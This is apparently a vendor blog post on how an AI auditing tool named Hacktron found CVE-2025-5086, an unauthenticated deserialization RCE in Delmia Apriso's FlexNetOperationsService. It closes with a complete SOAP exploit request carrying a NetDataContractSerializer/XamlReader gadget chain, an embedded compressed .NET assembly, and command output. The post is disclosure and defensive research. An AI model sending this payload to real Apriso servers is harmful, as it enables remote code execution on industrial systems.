In the early days, we benchmarked Hacktron’s capabilities to browse large codebases and find exploitable vulnerabilities. We focused on real-world codebases that we had previously audited, as prior knowledge helps triage and eliminate false positives.
Delmia Apriso has been around for years, and at one point even Apple hosted it externally. Its Manufacturing Execution System is used by the likes of Boeing, Airbus France, and Lockheed Martin. Security teams like Synactiv and I (while at ProjectDiscovery) have audited its code. Its backend is .NET and it’s a relatively large codebase, making it a perfect candidate for Hacktron benchmarking.
Hacktron ended up finding CVE-2025-5086, a pre-auth remote code execution vulnerability with a 9.0 CVSS severity rating.
Hacktron’s environment and objective
Knowing a few things about .NET, we provided Hacktron with the decompiled source code and the webroot/install directory contents, since critical configurations like web.config
reside there and are applied based on directory structure:
➜ DELMIA-Apriso-2025 lsflexnet_decompiled_dlls install_dir_contents
We provided Hacktron with the following objective:
Objective
You’re reviewing the C#/ASP.NET-based codebase of a web application called Delmia Apriso FlexNet. The goal is to assess the application for any unauthenticated insecure deserialization risks, especially those that could be triggered through user-controllable input. Focus on identifying patterns where external data is processed in ways that might lead to unsafe deserialization, particularly in the absence of strong validation or protective controls.
It’s fascinating to watch how Hacktron reasons through code to uncover security vulnerabilities. After embedding our own knowledge into it, we were especially curious to see how it approaches and flags bugs —— mirroring the way we’d think through an audit ourselves.
Here is how Hacktron thinks about the code:
Thinking
Let’s search for all occurrences of .Deserialize(...)
across .cs
files. This should reveal common sinks like BinaryFormatter
, XmlSerializer
, or custom deserializers.
This led to many sinks and multiple paths for Hacktron to explore. One instance being as follows:
dictionary2.Add(keyValuePair.Key, SfControllerExtender.Deserialize(keyValuePair.Value.ToString()));
Just seeing a .Deserialize(...)
call can look promising, but when Hacktron opened it up, it discovered this:
public static PropertyBag Deserialize(string content){ // ... return JsonConvert.DeserializeObject<Dictionary<string, object>>(content);}
In other words, it’s just a thin wrapper over JsonConvert.DeserializeObject(...)
. At that point, Hacktron has two choices:
- Give up right away, assuming “JSON” implies “safe by default.”
- Dig deeper, asking “Does this particular JSON call use any unsafe settings (e.g.,
TypeNameHandling
) under the hood?”
Hacktron is designed to not to stop at the surface level. It knows that although JSON deserialization is usually safe, if TypeNameHandling
were enabled anywhere, an attacker could inject arbitrary types. So it searches for any occurrences of TypeNameHandling
in the entire codebase to confirm whether this JSON path is truly harmless.
Thinking
This looks like a custom JSON-based deserializer. By default, JsonConvert.DeserializeObject
uses TypeNameHandling = None
(safe). There’s no JsonSerializerSettings
passed here, so nested objects simply get re-parsed recursively. We’d need TypeNameHandling.All
(or similar) to let the client dictate type information. Let’s search globally for any TypeNameHandling
references.
$ exec_command('grep -R "TypeNameHandling" -n /app')
# No results
Since no TypeNameHandling
reference was found, Hacktron assumed the default setting (TypeNameHandling = None
) applies. With that pathway ruled out, it marked this as a dead end and moved on to investigate other parts of the source code.
Thinking
I haven’t found any clear instances of BinaryFormatter.Deserialize
or JsonConvert.DeserializeObject
with TypeNameHandling
enabled that are reachable from unauthenticated user input. The XmlSerializer
path seems constrained by the server-side type definition. The Runtime.Deserialize
path leads to code I cannot analyze. The SfControllerExtender
path using JsonConvert
seems safe due to default settings, and I couldn’t trace its origin anyway.
Perhaps I should look for other potentially dangerous serializers like LosFormatter
, ObjectStateFormatter
, or NetDataContractSerializer
.
Going deeper into the code
As Hacktron navigates deeper through the codebase, it comes across a particularly interesting file: FlexNetOperationsService.cs
. This is where things start to get serious.
It detects usage of NetDataContractSerializer
—— a serializer that embeds .NET type metadata, making it dangerous if fed untrusted input.
Thinking
Okay, this is interesting! NetDataContractSerializer
is explicitly mentioned via the [NetDataContractSerializerBehavior]
attribute applied to the FlexNetOperationsService
class in /app/FlexNet.WebUI.WebServices/FlexNetOperationsService.cs
.
NetDataContractSerializer
is dangerous because, like BinaryFormatter
, it includes .NET type information in the serialized data (XML in this case), allowing an attacker to potentially control the type being deserialized. If this service endpoint is reachable without authentication and processes user-supplied data using this serializer, it could lead to arbitrary object deserialization and RCE.
I need to examine FlexNetOperationsService.cs
to understand:
- What methods does this service expose?
- Do any methods take parameters that are deserialized using
NetDataContractSerializer
? - Is the service accessible without authentication?
Looking at the attributes applied to the FlexNetOperationsService
class and the Invoke
method:
[NetDataContractSerializerBehavior][AspNetCompatibilityRequirements(RequirementsMode = AspNetCompatibilityRequirementsMode.Allowed)][ServiceBehavior(AddressFilterMode = AddressFilterMode.Any)]
public class FlexNetOperationsService : IFlexNetOperationsService { public Outcome Invoke(OperationExecutionParameters parameters, out PropertyBag outputs)}
Confirming the service is reachable pre-auth
The below hypothesis is facinating. It noticed the the WCF service itself doesn’t have any auth annotations and the binding is in web.config. However, the service itself is commented out. Would it be reacable?
Thinking
There are no standard ASP.NET or WCF authorization attributes like [Authorize]
or [AllowAnonymous]
applied to either the class or the method. In WCF, the absence of explicit security configuration in web.config
and the lack of authorization attributes in the code often defaults to no authentication.
Thinking
This main web.config
for the `/WebServices/ directory provides more context:
FlexNetOperationsService.svc
Binding: Lines 64-71 show a commented-out service definition forFlexNet.FunctionInterpreter.WebServices.FlexNetOperationsService
. If this were active, it would use thewsHttpBinding
namedFlexNetConfiguration
.FlexNetConfiguration
Binding: Lines 84-90 define thewsHttpBinding
namedFlexNetConfiguration
. Crucially, it confirms<security mode="None">
.- Service Implementation: The service implementation class is
FlexNet.FunctionInterpreter.WebServices.FlexNetOperationsService
.
Hypothesis: Although the service definition for FlexNetOperationsService.svc
is commented out in web.config
, the .svc
file itself exists (/app/install_dir_contents/WebSite/WebServices/FlexNetOperationsService.svc
). It’s possible that:
- The service is activated by the presence of the
.svc
file.
Reporting
Confirming that the service can indeed be accessed pre-auth and does allow deserialization, Hacktron reported the issue to us.
We validated the vulnerability and confirmed RCE via the below unauthenticated request:
POST /apriso/WebServices/FlexNetOperationsService.svc/Invoke?cmd=dir HTTP/1.1Host: delmia-aprisoContent-Type: text/xmlSOAPAction: "http://tempuri.org/IFlexNetOperationsService/Invoke"Content-Length: 9182
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"> <s:Body> <Invoke xmlns="http://tempuri.org/"><ArrayOfstring z:Id="1" z:Type="System.Collections.Generic.SortedSet`1[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]" z:Assembly="System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" xmlns="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns:x="http://www.w3.org/2001/XMLSchema" xmlns:z="http://schemas.microsoft.com/2003/10/Serialization/"><Count z:Id="2" z:Type="System.Int32" z:Assembly="0" xmlns="">2</Count><Comparer z:Id="3" z:Type="System.Collections.Generic.ComparisonComparer`1[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]" z:Assembly="0" xmlns=""><_comparison z:Id="4" z:FactoryType="a:DelegateSerializationHolder" z:Type="System.DelegateSerializationHolder" z:Assembly="0" xmlns="http://schemas.datacontract.org/2004/07/System.Collections.Generic" xmlns:a="http://schemas.datacontract.org/2004/07/System"><Delegate z:Id="5" z:Type="System.DelegateSerializationHolder+DelegateEntry" z:Assembly="0" xmlns=""><a:assembly z:Id="6">mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</a:assembly><a:delegateEntry z:Id="7"><a:assembly z:Ref="6" i:nil="true"/><a:delegateEntry i:nil="true"/><a:methodName z:Id="8">Compare</a:methodName><a:target i:nil="true"/><a:targetTypeAssembly z:Ref="6" i:nil="true"/><a:targetTypeName z:Id="9">System.String</a:targetTypeName><a:type z:Id="10">System.Comparison`1[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]</a:type></a:delegateEntry><a:methodName z:Id="11">Parse</a:methodName><a:target i:nil="true"/><a:targetTypeAssembly z:Id="12">PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35</a:targetTypeAssembly><a:targetTypeName z:Id="13">System.Windows.Markup.XamlReader</a:targetTypeName><a:type z:Id="14">System.Func`2[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.Object, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]</a:type></Delegate><method0 z:Id="15" z:FactoryType="b:MemberInfoSerializationHolder" z:Type="System.Reflection.MemberInfoSerializationHolder" z:Assembly="0" xmlns="" xmlns:b="http://schemas.datacontract.org/2004/07/System.Reflection"><Name z:Ref="11" i:nil="true"/><AssemblyName z:Ref="12" i:nil="true"/><ClassName z:Ref="13" i:nil="true"/><Signature z:Id="16" z:Type="System.String" z:Assembly="0">System.Object Parse(System.String)</Signature><Signature2 z:Id="17" z:Type="System.String" z:Assembly="0">System.Object Parse(System.String)</Signature2><MemberType z:Id="18" z:Type="System.Int32" z:Assembly="0">8</MemberType><GenericArguments i:nil="true"/></method0><method1 z:Id="19" z:FactoryType="b:MemberInfoSerializationHolder" z:Type="System.Reflection.MemberInfoSerializationHolder" z:Assembly="0" xmlns="" xmlns:b="http://schemas.datacontract.org/2004/07/System.Reflection"><Name z:Ref="8" i:nil="true"/><AssemblyName z:Ref="6" i:nil="true"/><ClassName z:Ref="9" i:nil="true"/><Signature z:Id="20" z:Type="System.String" z:Assembly="0">Int32 Compare(System.String, System.String)</Signature><Signature2 z:Id="21" z:Type="System.String" z:Assembly="0">System.Int32 Compare(System.String, System.String)</Signature2><MemberType z:Id="22" z:Type="System.Int32" z:Assembly="0">8</MemberType><GenericArguments i:nil="true"/></method1></_comparison></Comparer><Version z:Id="23" z:Type="System.Int32" z:Assembly="0" xmlns="">2</Version><Items z:Id="24" z:Type="System.String[]" z:Assembly="0" z:Size="2" xmlns=""><string z:Id="25" xmlns="http://schemas.microsoft.com/2003/10/Serialization/Arrays"/><string z:Id="26" xmlns="http://schemas.microsoft.com/2003/10/Serialization/Arrays"><ResourceDictionary
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:s="clr-namespace:System;assembly=mscorlib"
xmlns:r="clr-namespace:System.Reflection;assembly=mscorlib"
xmlns:i="clr-namespace:System.IO;assembly=mscorlib"
xmlns:c="clr-namespace:System.IO.Compression;assembly=System"
>
 <s:Array x:Key="data" x:FactoryMethod="s:Convert.FromBase64String">
 <x:Arguments>
 <s:String>H4sIAAAAAAAEAO1WTWwbRRR+YzuO4yRuk5S0RRQ2tEYplMVVDLSoatPEaZIqadLYTUuFlK7XU2fResfMrktSJOilqEhIIMSRIo5F4pBDERUSEgeO9MABiQOHcuNWLlwQonwzu07cxFJ7QRVSnz3fm3nz5s33xvPj2fMfU5yIEij37hHdolBG6cFyBSXzzLcZutl1e+gWm7k9VFp2fKMuRVVaNcO2PE8ERpkbsuEZjmcU5opGTVS42dub3hfFmJ8gmmFxGnzyz2oz7h2KDXWzbqIkhQVyKgsw1olt1/VYyJtoQ2tSsbAap9GrylV9N/S60vI3iMxFCd+ItUnyAlHPQ6zFFgG/VEszhfZUS9sM+EoAXeoIfXWem+aH+YIpfWlTxA0cdaKp+/1gHjUld4Udcb0QxerZ4je2mWYuG+opPaSDfsCkhzAHe5gc28hALk4XSY/viw1jZ6WHES0tkGZawlgXSDSdTh6Y1C3ZBUgOd8LmI6t0b9dOAVO6a1CkleruHO5Ww3sU9AJ6wnAZQEpsAz6PpIonx1jEWKV8KW/mzJHcyMHDytJBLrCO7r3vEv0KvabqxUA6XtVXHh+C5g7ovWeK9EU83B97J89MF6DX0L6m2mOuKEc5YmnZ5I4YdanGX9kRGgzXqztadlXf1lJXJa5HpiOWSdpPzwIX6RXgJWCabtB14PfAJP2G3gzF2F3gGDBJ59k8S9JlYJo+Ytd1FBah+mynnTpXVZ83lP39XTk9Xx/lEGU3qVaXxiG6SU8Bf0TZT7/Qc3SQfqcX6DB6DwIH2KtAE3icTrIjwCobp9N0lU1hxGdshl6nL9lpMpHxEnCAlpFJ4srmvfAptZxLzXS31q22Abq+xcaQ/bocmRWVhsuPkpMXjrWaL5sV16UJqvm2kK5TpuKqH/AazZXf5HZAph0IGdnMhYYXODVujota3XG5LHJ5ybG5T6HBChzhLXDXWtE1/3iAPVFuBJyigcoNXWXHdYLVjd4mk+Y0Z3mZpoKgPi48faqrPFgab0jJvUDbF/hbDe6H9tb6tOId7kMw8mwraEYsOFbVE37g2D7NSwHKfjGwZDDtXRTk6zAVRyJfWL2KJStzjaDeCHTXGZ8Xl7nrTqxwW7GNxpMO0Jxgek5NzK3aArcqXGo6m2KVkErUq1RJTHiVKB2/jtXiUT5R46x0MBlRp001qkC/RLa+2HAuTvx0TlyemP06/knt8z/eGaHUN5ffWNydv/NB3CCWMBhLpdaOLb3X93P6NeyD/r6EQf1PwJ7JdFAsAzRiqCvHWJJY/1D/HuWRxeiMqryoejKpzkSmfw++KRZdkE+rw1CKDZ6VVv2U8CZWbF5XP3RpWYq3fUb7shvb7GjzfWkjuWxra2lcyILrzlqOF25CzvWWVHIvixjb2wb5XwjT5HeFr+h9dnXX5NrYlai349wo3vGW92smlgcuUhE3xCKO6wJq03hpT6E9DTwRvrr0XeLuP+1em2ORVvfC5me5oGdeJIsk4ji43zlienh3hO7fp0eV0GvB6qPfogB+Aq1Q1hJfMRWjCLtEj0fVNpGuaZ/c+idPZbUGdACM2Lp/AcXHXldx6vfNY+g1S7X4LqJIeG/45HB/bhRcd9QLf8Uh0L4euLtYLwunSh0vBywE0KJVzcfEWXMp3H3DmtcM/Kp61Dg86/BTzKq4o4OIU0HPMRfZnWiOJkfvoebK67zmEUPA2kD+wZbsNud2SI85Dg8fnjVEdBHZeOC4x/IfihH+Z5p/+VETeSyPQv4FcLoAngAOAAA=</s:String>
 </x:Arguments>
 </s:Array>
 <i:MemoryStream x:Key="inputStream">
 <x:Arguments>
 <StaticResource ResourceKey="data"></StaticResource>
 </x:Arguments>
 </i:MemoryStream>
 <c:GZipStream x:Key="gzipStream">
 <x:Arguments>
 <StaticResource ResourceKey="inputStream"></StaticResource>
 <c:CompressionMode>0</c:CompressionMode>
 </x:Arguments>
 </c:GZipStream>
 <s:Array x:Key="buf" x:FactoryMethod="s:Array.CreateInstance">
 <x:Arguments>
 <x:Type TypeName="s:Byte"/>
 <x:Int32>3584</x:Int32>
 </x:Arguments>
 </s:Array>
 <ObjectDataProvider x:Key="tmp" ObjectInstance="{StaticResource gzipStream}" MethodName="Read">
 <ObjectDataProvider.MethodParameters>
 <StaticResource ResourceKey="buf"></StaticResource>
 <x:Int32>0</x:Int32>
 <x:Int32>3584</x:Int32>
 </ObjectDataProvider.MethodParameters>
 </ObjectDataProvider>
 <ObjectDataProvider x:Key="asmLoad" ObjectType="{x:Type r:Assembly}" MethodName="Load">
 <ObjectDataProvider.MethodParameters>
 <StaticResource ResourceKey="buf"></StaticResource>
 </ObjectDataProvider.MethodParameters>
 </ObjectDataProvider>
 <ObjectDataProvider x:Key="types" ObjectInstance="{StaticResource asmLoad}" MethodName="GetTypes">
 <ObjectDataProvider.MethodParameters/>
 </ObjectDataProvider>
 <ObjectDataProvider x:Key="firstType" ObjectInstance="{StaticResource types}" MethodName="GetValue">
 <ObjectDataProvider.MethodParameters>
 <s:Int32>0</s:Int32>
 </ObjectDataProvider.MethodParameters>
 </ObjectDataProvider>
 <ObjectDataProvider x:Key="createInstance" ObjectInstance="{StaticResource firstType}" MethodName="InvokeMember">
 <ObjectDataProvider.MethodParameters>
 <x:Null/>
 <r:BindingFlags>512</r:BindingFlags>
 <x:Null/>
 <x:Null/>
 <x:Null/>
 <x:Null/>
 <x:Null/>
 <x:Null/>
 </ObjectDataProvider.MethodParameters>
 </ObjectDataProvider>
</ResourceDictionary></string></Items></ArrayOfstring> </Invoke> </s:Body></s:Envelope>
... Volume in drive C is Windows Volume Serial Number is ...
Directory of c:\windows\system32\inetsrv
03/28/2025 06:12 PM <DIR> .03/28/2025 06:12 PM <DIR> ..08/03/2020 08:26 AM <DIR> 040508/03/2020 08:26 AM <DIR> 040708/03/2020 08:26 AM <DIR> 040908/03/2020 08:26 AM <DIR> 040C08/03/2020 08:26 AM <DIR> 041008/03/2020 08:26 AM <DIR> 041208/03/2020 08:26 AM <DIR> 041308/03/2020 08:26 AM <DIR>...
Conclusion
For years, this vulnerability hid in plain sight —— missed by multiple audits and even used in production by Apple. In just ten minutes, Hacktron pinpointed the unprotected .svc file and its “no security” binding, exposing a full pre‐auth RCE path. This example shows how AI security researchers can rapidly uncover critical overlooked vulnerabilities, making them invaluable for keeping codebases truly secure.